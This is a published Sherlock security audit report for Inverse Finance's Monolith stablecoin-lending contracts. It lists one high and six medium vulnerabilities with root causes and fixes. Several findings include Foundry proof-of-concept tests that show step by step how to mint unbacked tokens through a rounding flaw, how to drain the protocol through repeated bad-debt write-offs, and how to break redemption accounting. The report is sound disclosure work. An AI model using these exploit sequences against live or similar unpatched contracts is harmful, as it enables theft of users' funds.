SHERLOCK

Security Review For Inverse Finance

Public Audit Contest Prepared For: **Inverse Finance**
Lead Security Expert: **bughuntoor**
Date Audited: **December 8 - December 14, 2025**

Introduction

Monolith is a stablecoin-as-a-service platform being launched by Inverse Finance, enabling permissionless creation of immutable, over-collateralized stablecoins using any collateral with an on-chain price feed. Monolith's design features interest-bearing vaults for stablecoin holders, autonomous interest rate controllers, and deployer fee access, all optimized for security, scalability, and cross-chain expansion.

Scope

Repository: MonolithMarket/Monolith

Audited Commit: b36e9ef05df4c3f047dc1fed48a982dc97efc8d7

Final Commit: 41eb720eed7ea314a9c3775eeb7d154547f0aadf

Files:

- src/Coin.sol
- src/Factory.sol
- src/InterestModel.sol
- src/Lender.sol
- src/Lens.sol
- src/Vault.sol

Final Commit Hash

41eb720eed7ea314a9c3775eeb7d154547f0aadf

Findings

Each issue has an assigned severity:

- High issues are directly exploitable security vulnerabilities that need to be fixed.
- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.

Issues Found

High	Medium
1	6

Issues Not Fixed and Not Acknowledged

High	Medium
0	0

Security experts who found valid issues

00001111
0rpse
0x97
0xMosh
0xShoonya
0xSomeHuntoor
0xSpider_Raphl
0xTarnished
0xc0ffEE
0xeix
0xl33
0xlucky
0xnightswatch
0xnija
0xodus
0xpiken
4vian
Aasif
Albert_Mei
AlexCzm
Audittens
Ba17
Bobai23
BroRUok
ChainProof
ChaosSR
CovenantGuard_Sec
Cryptek_Megatron
DSbeX
DevBear0411
Draxen
Edoscoba
Harry-Elite
HeckerTrieuTien
Hemakhi
Himanshu772005
JeRRy0422
JohnWeb3
JuggerNaut
KrisRenZo
Le_Rems
LonWof-Demon
M1troV
Matin
MissDida
Nyxx
PowPowPow
Proof-of-Spirit
Riceee
SOPROBRO
Sir_Shades
SnowX
Sparrow_Jac
Uddercover
Valves
Varun_05
X0sauce
Yuubee
ZafiN
ZeroEx
air_0x
algiz
arunabha003
axelot
bbl4de
blockace
bratwork
bughuntoor
cholakovvv
coffiasd
coin2own
copperscrewer
cosin3
cyberEth
d33p
dandan
dantehrani
deadmanwalking
desaperh
dic0de
emmanuel_ewah
flora2627
frustramatic
fullstop

future
futureHack
gabkov
heavyw8t
ibrahimatix0x01
itsabinashb
itsgreg
jayjoshix
jo13
legalwarden50
legat
m3dython
magickenn
n0fr33w1f14u
neeloy
nodesemesta
piyushmali
queen
rubencrxz
securehash1
slowpoke
songyuqi
tedox
teoslaf1
touristS
typicalHuman
v_2110
vivekd
wickie
xiaoming90
xxiv
yaioxy
zach223
zcai

Issue H-1: User can abuse rounding issue in order to borrow unbacked tokens

Source: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/734

Found by

0xc0ffEE, Auditten, SOPROBRO, Uddercover, Valves, bughuntoor, dandan, deadmanwalking, songyuqi, wickie

Summary

Using multiple steps, user can abuse a rounding issue to borrow unbacked tokens. First, using the `redeem` method, the user can inflate the `freeShares/ freeDebt` ratio. When it exceeds 1e9 it debases by 1e18. However, the user can simply do debts of higher than 1e18, and redeeming all but 1 wei, basically inflating the ratio even after the debasement.

```
if (totalFreeDebtShares / totalFreeDebt > 1e9) {
    epoch++;
    totalFreeDebtShares = totalFreeDebtShares.mulDivUp(1e18, 1e36);
    emit NewEpoch(epoch);
}
```

Using this, the user can obtain a really large amount of debt shares (such as 1e32). Then, it is important to know that each user's debt is rounded up. So if we have two users and all but 1 wei is redeemed, both user's personal debts will be 1.

So if the user has large amount of debt shares on 1 wallet, and debt on another wallet, they can redeem all but 1 wei and both wallets will still have debt. Then, the user can repay the debt on the 2nd wallet, which would make the `totalFreeDebt == 0` while `totalFreeDebtShares == 1e32`. Then, they can go on a third wallet and make a new borrow. Since `totalFreeDebt` is 0, debt shares will be minted 1:1

```
function increaseDebt(address account, uint256 amount) internal {
    if (isRedeemable[account]) {
        // Handle free debt
        uint256 shares = totalFreeDebt == 0 ? amount :
        ↪  amount.mulDivUp(totalFreeDebtShares, totalFreeDebt);
```

This means that a user can make a borrow for 1e27 ($1b) and they'll receive 1e27 shares. However, total shares are >1e32, so the newly minted debt shares will be worth only `1e27 * 1e27 / 1e32 = 1e22` debt, effectively allowing the user to mint $1b out of thin air.

Note that the attack can be performed at any time, as even if there are active free debt users, user can simply redeem them and perform the attack.

Root Cause

Rounding issue.

Affected Code

https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L606

Attack Path

Check PoC

Impact

Draining of all funds

PoC

```
function test_drain() public {
    address user = address(1);

    ERC20Mock collateral = ERC20Mock(address(lender.collateral()));
    ERC20Mock coin = ERC20Mock(address(lender.coin()));

    vm.startPrank(user);
    collateral.mint(user, 1e40);
    coin.mint(user, 1e40);
    collateral.approve(address(lender), type(uint256).max);
    coin.approve(address(lender), type(uint256).max);

    lender.setRedemptionStatus(user, true);

    for (uint256 i; i < 7; i++) {
        lender.adjust(user, 1e23, 1e22);
        uint256 totalFreeDebt = lender.totalFreeDebt();
        lender.redeem(totalFreeDebt - 1, 0);
    }

    lender.adjust(user, 1e23, 1e22);

    address user2 = address(2);
    collateral.mint(user2, 1e23);
    vm.startPrank(user2);
    collateral.approve(address(lender), type(uint256).max);
    lender.setRedemptionStatus(user2, true);
```

```
    lender.adjust(user2, 1e23, 1e22);

    vm.startPrank(user);

    uint256 totalFreeDebt = lender.totalFreeDebt();
    coin.mint(user, totalFreeDebt);

    lender.redeem(totalFreeDebt - 1, 0);

    console.log("%e", lender.totalFreeDebtShares());
    console.log(lender.totalFreeDebt());

    vm.startPrank(user2);
    coin.approve(address(lender), type(uint256).max);
    lender.adjust(user2, 0, -1);

    console.log("%e", lender.totalFreeDebtShares());
    console.log(lender.totalFreeDebt());

    vm.startPrank(user2);
    // user2 has ~1e22 collateral, but is able to borrow 1e27;
    lender.adjust(user2, 0, 1e27);
    uint256 debt = lender.getDebtOf(user2);
    console.log("debt %e", debt); // user borrowed 1e27, but has only 1e22 debt

}
```

Logs:

```
[PASS] test_drain() (gas: 1138922)
Logs:
  2.000000020002000200020502000201 01e32
  1
  1.000000010001000100010301000101 01e32
  0
  debt 9.99989990099199017018 5e21
```

Mitigation

fix is non-trivial.

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/MonolithMarket/Monolith/pull/42

Issue M-1: If there's only a single user which has reached a state with bad debt, anyone can mint unbacked tokens.

Source: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/732

Found by

0x97, 0xnija, 0xpiken, DSbeX, Draxen, Edoscoba, JuggerNaut, PowPowPow, Riceee, SnowX, Valves, bughuntoor, cyberEth, deadmanwalking, flora2627, frustramatic, jayjoshix, jo13, legalwarden50, legat, n0fr33w1f14u, neeloy, piyushmali, securehash1, zach223

Summary

When a user has reached bad debt state, they should be cleared with `writeOff`. The function removes their debt and socializes it within the remaining borrowers and sends the written off user's collateral to a recipient set by the caller.

```
    uint256 totalDebt = totalFreeDebt + totalPaidDebt;
    if (totalDebt > 0) {
        uint256 freeDebtIncrease = debt * totalFreeDebt / totalDebt;
        uint256 paidDebtIncrease = debt - freeDebtIncrease;

        totalFreeDebt += freeDebtIncrease;
        totalPaidDebt += paidDebtIncrease;
    }

    if (!isRedeemable[borrower]) nonRedeemableCollateral -= collateralBalance;
    _cachedCollateralBalances[borrower] = 0;

    // Convert to token decimals for transfer (rounds down)
    uint256 collateralAmount = internalToCollateral(collateralBalance);
    emit WrittenOff(borrower, to, debt, collateralAmount);
    writtenOff = true;

    // 3. send collateral to caller
    collateral.safeTransfer(to, collateralAmount);
}
```

The problem is that this can be abused in case that bad debt borrower is the only paid borrower or the only free debt borrower.

As the collateral is received, but the debt is redistributed, the user can open a new

position on new wallet for 1/100th of the written off debt. Then they'll writeoff their first wallet, transferring the debt and turning the new wallet underwater. But they then can repeat the process, getting their collateral back each time.

For example if there's $100k of bad debt to be distributed, user opens a new borrow for $1k collateral, $500 debt, writes off first wallet, then debt is moved and writes of the 2nd wallet, effectively receiving the $500 debt for free. They can repeat this endlessly to mint as much of the tokens as they wish.

In case there are other free debt borrowers, the user can just fully redeem them before performing this action in order to make sure they can drain the contract.

Root Cause

Allowing to write off when user's collateral is above 0.

Internal Pre-conditions

A user should have bad debt.

Affected Code

https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L431

Attack Path

Check PoC

Impact

Drain

PoC

```
function test_writeoffIssue() public {
    address user = address(1);

    ERC20Mock collateral = ERC20Mock(address(lender.collateral()));
    ERC20Mock coin = ERC20Mock(address(lender.coin()));
    FeedMock feed = FeedMock(address(lender.feed()));

    vm.startPrank(user);
    collateral.mint(user, 1e25);
```

```
coin.mint(user, 1e25);
collateral.approve(address(lender), type(uint256).max);
coin.approve(address(lender), type(uint256).max);

lender.adjust(user, 1_000_000e18, 500_000e18);

feed.setPrice(0.25e18); // $250k bad debt

address user2 = address(2);
address user3 = address(3);

collateral.mint(user2, 1e25);
collateral.mint(user3, 1e25);
coin.mint(user2, 1e25);

vm.startPrank(user2);
collateral.approve(address(lender), type(uint256).max);
coin.approve(address(lender), type(uint256).max);
lender.adjust(user2, 8000e18, 1000e18);

for (uint i; i < 3; i++) {
    lender.liquidate(user, 400_000e18, 0);
}

vm.startPrank(user3);
collateral.approve(address(lender), type(uint256).max);
lender.setRedemptionStatus(user3, true);    // we need to set one user to free
↪  debt and other to paid debt

uint256 collateralBalPre = collateral.balanceOf(user2) +
↪  collateral.balanceOf(user3);
uint256 coinBalPre = coin.balanceOf(user2) + coin.balanceOf(user3);

for (uint i; i < 50; i++) {
    address lenderUser = i % 2 == 0 ? user3 : user2;
    address writtenOff = i % 2 == 0 ? user2 : user3;

    vm.startPrank(lenderUser);
    lender.adjust(lenderUser, 8100e18, 1000e18);

    lender.writeOff(writtenOff, lenderUser);

    if (i == 49) lender.writeOff(lenderUser, lenderUser);
}

uint256 collateralAfter = collateral.balanceOf(user2) +
↪  collateral.balanceOf(user3);
uint256 coinBalAfter = coin.balanceOf(user2) + coin.balanceOf(user3);
```

```
    console.log("collateral received %e", collateralAfter - collateralBalPre);
    ↪  // user has received back their 8e21 collateral
    console.log("coin received %e", coinBalAfter - coinBalPre );           // user
    ↪  is in $50k profit

}
```

Mitigation

Only allow writeoff is user collateral is 0 (or dust)

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/MonolithMarket/Monolith/pull/42

Issue M-2: Inconsistency in position health checks will lead to the incorrect user liquidations

Source: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/810

Found by

0rpse, 0xSomeHuntoor, 0xTarnished, 0xc0ffEE, 0xeix, 0xnightswatch, 0xpiken, Aasif, AlexCzm, Bobai23, CovenantGuard_Sec, Hemakhi, KrisRenZo, Le_Rems, LonWof-Demon, Nyxx, Riceee, X0sauce, ZafiN, air_0x, algiz, coffiasd, deadmanwalking, futureHack, itsgreg, nodesemesta, queen, typicalHuman, yaioxy

Summary

The protocol checks account's health differently in `liquidate()` and in `adjust()` functions creating a situation where one function shows that a position is healthy while the other one allows for liquidation.

Root Cause

The root cause is the difference in checks between `liquidate()` and `adjust()`.

Internal Pre-conditions

-

External Pre-conditions

-

Attack Path

Users call `adjust()` - at the end of the call, the position health is checked and it allows for the borrowing power to be >= than the debt. However, the checks in the `getLiquidatableDebt()` require for the `borrowingPower` to be strictly > debt.

Impact

Position is liquidatable even when it's healthy.

PoC

Let's take a look at the check in the `adjust()` function:

https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L321-322

```
uint borrowingPower = price * _cachedCollateralBalances[account] * collateralFactor
↪  / 1e18 / 10000;
    require(debtBalance <= borrowingPower, "Solvency check failed");
```

It can be seen that the `debtBalance` is checked against `borrowingPower` with <= sign allowing for the full equality between them. Now, the logic in the `getLiquidatableDebt()` makes the opposite:

https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L669-670

```
uint borrowingPower = price * collateralBalance * collateralFactor / 1e18 / 10000;
if(borrowingPower > debt) return 0;
```

So it requires for the `borrowingPower` to be exactly greater than the debt. It basically means that if `borrowingPower == debt`, then `adjust()` will show the position as healthy while the `liquidate()` will allow the liquidation.

Mitigation

```
+uint borrowingPower = price * collateralBalance * collateralFactor / 1e18 / 10000;
+if(borrowingPower >= debt) return 0;
```

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/MonolithMarket/Monolith/pull/42

Issue M-3: EIP violation for `totalAssets()` in the `Vault`

Source: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/820

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0xeix, axelot, desaperh, magickenn, typicalHuman

Summary

According to the contest README:

```
Issues that break the EIP's MUST statements may be deemed valid Medium severity
↪  (even if the violation is in view functions and doesn't impact state functions)
↪  even if the impact is low/info, unless they conflict with common sense.
```

But `totalAssets()` can revert because of its call to `getPendingInterest()` function.

Root Cause

EIP4626 has the following statement regarding `totalAssets()`:

```
MUST NOT revert
```

However, it's not respected in the current implementation.

Internal Pre-conditions

-

External Pre-conditions

-

Attack Path

`totalAssets()` function in the `Vault` calls `getPendingInterest()` in the `Lender` contract that, in its turn, calls `calculateInterest()` inside of the try/catch mechanism meaning the function is prone to reverts due to different errors (like division by zero or some other

type of error) and, inside of the catch block, the function checks whether the call was with sufficient gas:

https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L908-910

```
} catch {
          require(gasBefore >= INTEREST_CALCULATION_GAS_REQUIREMENT, "Not enough
          ↪  gas for accrueInterest");
      }
```

The value is set to 40000 gas and it won't have to require that amount if it didn't happen to revert in the first place. So if users doesn't provide more gas than estimated by RPC, the call will revert.

Impact

EIP violation -> medium severity.

PoC

Provided in the attack path.

Mitigation

Change the implementation so that `totalAssets()` can't revert.

Issue M-4: Accounting will be broken if a user redeems when there is a bad debt position

Source: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/1127

Found by

0xnija, DevBear0411, Edoscoba, Proof-of-Spirit, blockace, bughuntoor, deadmanwalking, future, gabkov, itsabinashb, legat, neeloy, touristS, xiaoming90, zcai

Summary

When redeeming, a user repays part of everyone's debt and also gets a proportional part of their collateral. The problem is that in case there's a position in bad debt and a user redeems, accounting will account for redeeming more collateral from that user than they have. This would effectively allow users to redeem non-redeemable collateral and would leave some users impossible to withdraw their funds.

```
// repay on behalf of free debtors
 totalFreeDebt -= amountIn;
 coin.transferFrom(msg.sender, address(this), amountIn);
 coin.burn(amountIn);

 // distribute collateral redemption per free debt share (in internal
 ↪  representation)
 epochRedeemedCollateral[epoch] += internalAmountOut.mulDivUp(1e36,
 ↪  totalFreeDebtShares);
```

Assume the following situation - there's two free debt borrowers, one has $500k collateral and $1m debt and other one has $1m collateral and $100k debt. Another user can come and make a redeem for $1.1m and will receive $1.1m collateral. Since the 2nd user only has $100k debt, they should be left with $900k collateral. However, the remaining collateral in the Lender contract would be just $400k. There would be a shortcut of $500k collateral in the contract.

Root Cause

Wrong logic

Internal Pre-conditions

Bad debt

Affected Code

https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L463

Attack Path

Check PoC

```
function test_breakAccounting() public {
    address user = address(1);
    address user2 = address(2);

    ERC20Mock collateral = ERC20Mock(address(lender.collateral()));
    ERC20Mock coin = ERC20Mock(address(lender.coin()));
    FeedMock feed = FeedMock(address(lender.feed()));

    vm.startPrank(user);
    collateral.mint(user, 1e40);
    coin.mint(user, 1e40);
    collateral.approve(address(lender), type(uint256).max);
    coin.approve(address(lender), type(uint256).max);

    lender.setRedemptionStatus(user, true);
    lender.adjust(user, 1_000_000e18, 500_000e18);

    vm.startPrank(user2);
    collateral.mint(user2, 1_000_000e18);
    collateral.approve(address(lender), type(uint256).max);
    lender.setRedemptionStatus(user2, true);
    lender.adjust(user2, 1_000_000e18, 0);

    feed.setPrice(0.25e18); // $250k bad debt

    vm.startPrank(user);
    lender.redeem(500_000e18 - 1, 0);

    vm.startPrank(user2);
    vm.expectRevert();
    lender.adjust(user2, -1_000_000e18, 0);

}
```

Impact

Loss of funds, broken invariants, user cannot withdraw their funds.

PoC

```
function test_breakAccounting() public {
    address user = address(1);
    address user2 = address(2);

    ERC20Mock collateral = ERC20Mock(address(lender.collateral()));
    ERC20Mock coin = ERC20Mock(address(lender.coin()));
    FeedMock feed = FeedMock(address(lender.feed()));

    vm.startPrank(user);
    collateral.mint(user, 1e40);
    coin.mint(user, 1e40);
    collateral.approve(address(lender), type(uint256).max);
    coin.approve(address(lender), type(uint256).max);

    lender.setRedemptionStatus(user, true);
    lender.adjust(user, 1_000_000e18, 500_000e18);

    vm.startPrank(user2);
    collateral.mint(user2, 1_000_000e18);
    collateral.approve(address(lender), type(uint256).max);
    lender.setRedemptionStatus(user2, true);
    lender.adjust(user2, 1_000_000e18, 0);

    feed.setPrice(0.25e18); // $250k bad debt

    vm.startPrank(user);
    lender.redeem(500_000e18 - 1, 0);

    vm.startPrank(user2);
    vm.expectRevert();
    lender.adjust(user2, -1_000_000e18, 0);

}
```

Mitigation

fix is non-trivial

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/MonolithMarket/Monolith/pull/42

Issue M-5: Incorrect interest calculation

Source: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/1185

Found by

00001111, 0xShoonya, 0xeix, 0xl33, 0xnija, 0xodus, Albert_Mei, Audittens, BroRUok, ChainProof, ChaosSR, Edoscoba, Harry-Elite, Himanshu772005, JeRRy0422, Le_Rems, M1troV, Matin, Sparrow_Jac, Varun_05, X0sauce, ZeroEx, algiz, axelot, bbl4de, blockace, cholakovvv, coin2own, d33p, dantehrani, dic0de, emmanuel_ewah, gabkov, ibrahimatix0x01, itsgreg, jayjoshix, m3dython, neeloy, rubencrxz, securehash1, tedox, touristS, v_2110, xiaoming90, xxiv, zcai

Summary

N/A

Root Cause

N/A

Internal Pre-conditions

N/A

External Pre-conditions

N/A

Attack Path

It was observed that the piecewise integral formula in Line 49 below is incorrect when `_lastRate > MIN_RATE`.

https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/InterestModel.sol#L49

```
File: InterestModel.sol
20:     function calculateInterest(
..SNIP..
40:             if (currBorrowRate < MIN_RATE) {
41:                 currBorrowRate = MIN_RATE;
42:                 // calculate integral
```

```
43:                 if (_lastRate <= MIN_RATE) {
44:                     // Already at min rate, just use flat rate for entire period
45:                     interest = _totalPaidDebt * MIN_RATE * _timeElapsed / 365
 ↪  days / 1e18;
46:                 } else {
47:                     uint timeToMin = uint(-wadLn(int(MIN_RATE * 1e18 /
 ↪  _lastRate))) / _expRate;
48:                     // Decaying integral up to min rate, then add flat rate
 ↪  portion
49:                     interest = _totalPaidDebt * ((_lastRate - MIN_RATE) /
 ↪  _expRate +
50:                                 MIN_RATE * (_timeElapsed - timeToMin)) / 365 days
 ↪  / 1e18;
51:                 }
..SNIP..
```

The formula for Line 49 is as follows:

$$I = D \cdot (\underbrace{\frac{r_{old} - r_{min}}{k}}_{\text{exp segment}} + \underbrace{r_{min}\,(dt - t_{min})}_{\text{flat segment}})/365d$$

Where:

- r_{old} is `_lastRate` (in WAD/1e18)
- r_{min} is `MIN_RATE` (in WAD/1e18)
- k is `_expRate` (in WAD/1e18)
- t_{min} is in seconds
- D is `_totalPaidDebt`, and I is `interest`

The first term of the code gives:

```
A = (_lastRate - MIN_RATE) / _expRate;
```

$$A = \frac{(1e18 r_{old} - 1e18 r_{min})}{1e18 k} = \frac{1e18\,(r_{old} - r_{min})}{1e18 k} = \frac{(r_{old} - r_{min})}{k} \text{ seconds}$$

The second term of the code gives:

```
B = MIN_RATE * (_timeElapsed - timeToMin);
```

$$B = 1e18 r_{min}\,(dt - t_{min})\,.$$

The correct integral (in terms of these) is:

- Exp part: `A`

- Flat part: `B / 1e18`

So:

$$\int_0^{dt} APR(t)dt = A + \frac{B}{1e18}$$

Hence interest should be:

```
interest = _totalPaidDebt * (A + B / 1e18) / 365 days;
```

But the code does:

```
interest = _totalPaidDebt * (A + B) / 365 days / 1e18;
```

Which equals:

$$I_{\text{code}} = \frac{D}{365d \cdot 1e18}(A + B) = \underbrace{\frac{\text{DA}}{365\text{d} \cdot 1\text{e}18}}_{\text{exp part}} + \underbrace{\frac{\text{DB}}{365\text{d} \cdot 1\text{e}18}}_{\text{flat part}}.$$

Compare to the target:

$$I_{\text{true}} = \frac{DA}{365d} + \frac{DB}{365d \cdot 1e18}$$

- The flat part `B` is correct (both have `B/(365d*1e18)`)
- The exponential part (`A`) is off by a factor of `1e18` (`DA/(365d*1e18)` vs `DA/(365d)`)

So when the rate decays from `_lastRate` down to `MIN_RATE`, the entire exponential segment's contribution to interest is effectively divided by 1e18 (almost completely lost). In other words, the code is effectively doing is dropping (or near-zeroing) the exponential-decay integral and only charging the floor portion after crossing r_{min}.

Assume that:

- `lastRate = 50% APR`, `MIN_RATE = 0.5% APR`,
- `halfLife = 7 days`,
- `timeElapsed = 60 days` (so we cross the floor),
- `totalPaidDebt = 1,000,000`

Result:

- Correct math interest ≈ 13,880 Coin.
- Current code interest ≈ 185 Coin (≈1.3% of the correct amount).

Impact

High. Loss of interests/yields as the interest is undercalculated.

PoC

No response

Mitigation

No response

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/MonolithMarket/Monolith/pull/42

Issue M-6: Interest accrual can get stuck when `wadExp()` underflows to 0 causing division-by-zero

Source: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/1202

Found by

0xMosh, 0xShoonya, 0xSpider_Raphl, 0xeix, 0xlucky, 0xnija, 4vian, Ba17, Cryptek_Megatron, Edoscoba, HeckerTrieuTien, JohnWeb3, MissDida, Proof-of-Spirit, Sir_Shades, Yuubee, algiz, arunabha003, blockace, bratwork, copperscrewer, cosin3, cyberEth, deadmanwalking, dic0de, emmanuel_ewah, flora2627, fullstop, future, heavyw8t, itsgreg, neeloy, slowpoke, tedox, teoslaf1, vivekd, xiaoming90

Summary

N/A

Root Cause

N/A

Internal Pre-conditions

N/A

External Pre-conditions

N/A

Attack Path

The `InterestModel.calculateInterest()` function computes an exponential factor using Solmate's `wadExp()` function:

https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/InterestModel.sol#L33

```
File: InterestModel.sol
20:     function calculateInterest(
..SNIP..
33:         uint growthDecay = uint(wadExp(-int(_expRate * _timeElapsed)));
```

Solmate's wadExp() explicitly returns `0` for sufficiently large negative inputs (`-42e18`). Refer to the comment below.

```
function wadExp(int256 x) pure returns (int256 r) {
    unchecked {
        // When the result is < 0.5 we return zero. This happens when
        // x <= floor(log(0.5e18) * 1e18) ~ -42e18
        if (x <= -42139678854452767551) return 0;
        ...
    }
}
```

When `_timeElapsed` is large enough, `-int(_expRate * _timeElapsed)` becomes small enough (very negative) that `wadExp(...)` returns `0`, so `growthDecay == 0`.

In the "below target" branch (`_lastFreeDebtRatioBps < _targetFreeDebtRatioStartBps`), the code divides by `growthDecay` in Line 36 below:

https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/InterestModel.sol#L36

```
File: InterestModel.sol
20:     function calculateInterest(
..SNIP..
33:         uint growthDecay = uint(wadExp(-int(_expRate * _timeElapsed)));
34:
35:         if (_lastFreeDebtRatioBps < _targetFreeDebtRatioStartBps) {
36:             currBorrowRate = _lastRate * 1e18 / growthDecay;
37:             interest = _totalPaidDebt * (currBorrowRate - _lastRate) / _expRate
↪  / 365 days;
38:         } else if (_lastFreeDebtRatioBps > _targetFreeDebtRatioEndBps) {
```

So once `growthDecay` becomes `0`, this branch reverts with a division-by-zero.

This revert is caught in `Lender.accrueInterest()` via `try/catch`. If enough gas was provided, the catch block does not revert and instead silently skips accrual:

https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L202

```
File: Lender.sol
try interestModel.calculateInterest(...) returns (...) {
    ... // normal accrual + lastAccrue update
} catch {
    require(gasBefore >= INTEREST_CALCULATION_GAS_REQUIREMENT, "Not enough gas for
    ↪  accrueInterest");
    // No state update here => accrual skipped
}
```

Because `lastAccrue` is only updated on the successful path, it stays stale. That means `ti`

meElapsed = block.timestamp - lastAccrue remains large, and future calls keep hitting the same wadExp underflow and division-by-zero revert.

In practice, this can create a persistent "interest accrual stuck" state whenever the system stays in the "below target" regime.

Consider the following scenario:

The codebase allows the operator/manager to set halfLife as low as 12 hours (43,200s). Assume that the operator set the halfLife to 12 hours.

https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L915

```
File: Lender.sol
915:     function setHalfLife(uint64 halfLife) external onlyOperatorOrManager
 ↪  beforeDeadline {
916:         accrueInterest();
917:         require(halfLife >= 12 hours && halfLife <= 30 days, "Invalid half
 ↪  life");
918:         expRate = uint64(uint(wadLn(2*1e18)) / halfLife);
919:         emit HalfLifeUpdated(halfLife);
920:     }
```

Now assume:

- The system has mostly/only paid debt so the free debt ratio is below targetFreeDebtRatioStartBps (i.e., it remains in the "below target" branch).
- No one calls any function that successfully updates lastAccrue for about 2,626,332 seconds (30 days)

When someone finally calls accrueInterest():

- expRate is computed as: expRate = wadLn(2e18) / 43,200s = 160450736240 72
- _timeElapsed 2,626,332s
- wadExp(-int(_expRate * _timeElapsed)) returns 0 (per Solmate's documented behavior above) as -int(_expRate * _timeElapsed) = -42139690301256263904
- growthDecay == 0
- currBorrowRate = _lastRate * 1e18 / 0 reverts inside InterestModel.calculateInterest()
- Lender.accrueInterest() catches the revert and skips accrual without updating lastAccrue
- since lastAccrue is still old, the next call sees the same (or larger) _timeElapsed, and the failure repeats as long as the system remains "below target"

Impact

High. Interest accrual can become effectively DOSed. As a result, paid borrowers stop accruing interest and vault stakers stop receiving yield minted from borrower interest.

In addition, this also violates the stated invariant that interest “must always accrue correctly based on time elapsed and current rate” in the Contest’s README.

PoC

No response

Mitigation

No response

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/MonolithMarket/Monolith/pull/42

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.